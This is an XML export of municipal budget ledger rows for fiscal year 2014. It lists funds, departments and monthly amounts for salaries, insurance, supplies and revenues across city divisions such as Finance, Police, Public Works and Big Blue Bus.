<row _id="11879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209087.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3091</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>212178.0</total></row>
<row _id="11880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3894.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3894.0</total></row>
<row _id="11881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="11882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>54095.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54095.0</total></row>
<row _id="11883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38572.0</total></row>
<row _id="11884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9368.0</total></row>
<row _id="11885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="11886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-300000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="11887"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-27417</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27417.0</total></row>
<row _id="11888"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-214044.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>214044</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11889"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>103825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103825.0</total></row>
<row _id="11890"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511491.0</object><object_description>OVERTIME CONTINGENCY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>400000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400000.0</total></row>
<row _id="11891"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401890.0</object><object_description>WIRELESS FACILITY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="11892"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-87275.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-87275.0</total></row>
<row _id="11893"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING-TRANS OUT TO 01 FD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>232291.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>232291.0</total></row>
<row _id="11894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404050.0</object><object_description>ENERGY EFFICIENCY REBATES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25871.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-25916.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51787.0</total></row>
<row _id="11895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>566500.0</object><object_description>RECRUITMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="11896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>166381.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166381.0</total></row>
<row _id="11897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57293.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57293.0</total></row>
<row _id="11898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4794.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4794.0</total></row>
<row _id="11899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3037.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3037.0</total></row>
<row _id="11900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="11901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>336.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>336.0</total></row>
<row _id="11902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="11903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1825.0</total></row>
<row _id="11904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562701.0</object><object_description>OLDER YOUTH SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-10250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10250.0</total></row>
<row _id="11906"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>628598.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>9257</december><january>13346.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>651201.0</total></row>
<row _id="11907"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3941.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3941.0</total></row>
<row _id="11908"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5059.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5059.0</total></row>
<row _id="11909"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>826.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>41.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>867.0</total></row>
<row _id="11910"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="11911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="11912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>77</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5960.0</total></row>
<row _id="11913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8576.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8576.0</total></row>
<row _id="11914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14441.0</total></row>
<row _id="11915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1452.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1452.0</total></row>
<row _id="11916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="11917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8141.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-1714</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9855.0</total></row>
<row _id="11918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>408310.0</object><object_description>CALEMA HAZARD MIT PLANNIN GRT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-18750</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18750.0</total></row>
<row _id="11919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>264.0</total></row>
<row _id="11920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1262.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1262.0</total></row>
<row _id="11921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5160.0</total></row>
<row _id="11922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5700.0</total></row>
<row _id="11923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="11924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="11925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2760.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2760.0</total></row>
<row _id="11926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>140700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140700.0</total></row>
